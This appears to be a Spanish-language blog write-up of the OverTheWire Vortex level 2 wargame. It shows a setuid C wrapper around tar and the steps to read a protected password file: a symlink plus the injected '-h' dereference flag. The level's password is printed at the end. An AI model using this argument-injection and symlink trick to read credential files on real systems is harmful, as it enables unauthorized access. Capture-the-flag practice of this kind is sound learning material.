- Level Goal:
- Create a special tar file
- Helpful Reading Material
- GNU tar manual
- Code listing (vortex2.c)
-
#include <stdlib.h> #include <stdio.h> #include <sys/types.h> int main(int argc, char **argv) { char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar",
argv[1], argv[2], argv[3]
}; execv(args[0], args); }
/tmp$ /vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names
/tmp$ tar xf '/tmp/ownership.$$.tar'
tar: etc/vortex_pass: Cannot mkdir: Permission denied
tar: etc/vortex_pass/vortex3: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors
Como es lo más obvio y directo era de esperar que no funcionara. Dentro del tar tenemos la estructura etc/vortex_pass/vortex3 pero falla en la extracción debido a que en /tmp (la carpeta donde realizo todo ya que es en la que tengo permisos de escritura) ya existe una carpeta etc/vortex_pass.
Vamos a intentar ahora un truquillo. Vamos a hacer un enlace al fichero y tararearlo (verbo tararear, meter cosas en un tar).
/tmp$ ln -s /etc/vortex_pass/vortex3 fichero_to_loco
/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3
Ahora lo tarareamos y descomprimimos.
/tmp$ /vortex/vortex2 fichero_to_loco
vortex2@melissa:/tmp$ rm -f fichero_to_loco
vortex2@melissa:/tmp$ tar xf 'ownership.$$.tar'
vortex2@melissa:/tmp$ cat fichero_to_loco
cat: fichero_to_loco: Permission denied
vortex2@melissa:/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3
Vaya por dios, lo que se ha guardado no es el fichero en sí mismo sino el enlace tal cual. Leyendo el man del tar encontraremos lo siguiente:
-h, --dereference
follow symlinks; archive and dump the files they point to
Bueno, ya con esto casi estamos :).
/tmp$ /vortex/vortex2 -h fichero_to_loco
/tmp$ tar xf 'ownership.$$.tar'
/tmp$ cat fichero_to_loco
64ncXTvx#
Y ya está, al siguiente nivel...
Saludos.
No hay comentarios:
Publicar un comentario